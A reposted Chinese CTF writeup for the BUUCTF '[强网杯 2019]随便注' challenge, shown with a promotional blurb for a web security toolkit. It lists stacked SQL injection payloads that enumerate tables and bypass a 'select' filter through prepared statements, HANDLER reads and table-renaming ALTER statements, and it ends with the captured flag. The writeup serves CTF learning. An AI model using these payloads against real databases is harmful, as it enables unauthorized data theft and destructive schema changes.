buuctf WEB [强网杯 2019]随便注 writeup

作者:长弓三皮 发布:2026-11-04 08:08 收录:2026-11-04 09:44 2 次阅读 约 537 字
摘要:一站式Web安全全能工具箱!集成了50+种扫描模块,涵盖SQL注入、XSS、LFI、RCE、SSRF等经典与现代漏洞检测方式,支持内置浏览器调试、请求头实时监控、Headers自动穿透、API安全测试等多种高级功能,是CTF竞赛选手和网络安全学习者的必备利器!
推荐理由:本文涵盖「CTF」、「WEB」、「Web安全」等多个主题,重点关注 CTF。

随波逐流工作室—-探索前沿科技,分享最新软件。点击标题下蓝字“长弓三皮”关注,我们将为您提供有深度、有价值、有意思的阅读。

朋友们,现在只对常读和星标的公众号才展示大图推送,建议大家把长弓三皮“设为星标”,否则可能就看不到了啦!

作者:随波逐流


buuctf WEB



随波逐流
WriteUp



打开 [随波逐流]WEB安全工具访问

展开面板,提交看看

[随波逐流]WEB安全工具--SQL注入Payload速查表

联合查询被过滤,只能用堆叠注入了

1'; show databases;
1'; show tables;
1'; show columns from `words`;#
1';show columns from `1919810931114514`;#
关于在这里使用 ` 而不是 ’ 的一些解释:两者在linux下和windows下不同,linux下不区分,windows下区分。单引号 ’ 或双引号主要用于 字符串的引用符号反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)有MYSQL保留字作为字段的,必须加上反引号来区分!!!如果是数值,请不要使用引号。

可以看到这两个表words表有两个字段,而另一个只有一个字段

方法一:

,通过concat函数拼接绕过。
构造payload:

1';Set @s=concat('s','elect flag from `1919810931114514`');Prepare s from @s;execute s%23

方法二:

,通过用handle语句来获取。
构造payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

方法三:

,通过把words表随便改成一个名字如test,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果。
构造payload:

1'; alter table words rename to test;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

接着使用or绕过直接获取flag

1' or 1 = 1 ;#


CTF2{efe1952b-0990-49ee-ae16-6dafd9e4fe0e}












公众号内输入
 搜索公众号+题目标题
可搜索到此文章


-------------------------------------------

软件发布网址: 随波逐流信息安全网

http://www.1o1o.xyz

微信公众号:长弓三皮

--------------------------------------------


你若喜欢,为“长弓三皮”点个赞和在看哦 

转载声明:本文转载自原发布平台 (作者:长弓三皮), 原文标题《buuctf WEB [强网杯 2019]随便注 writeup》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。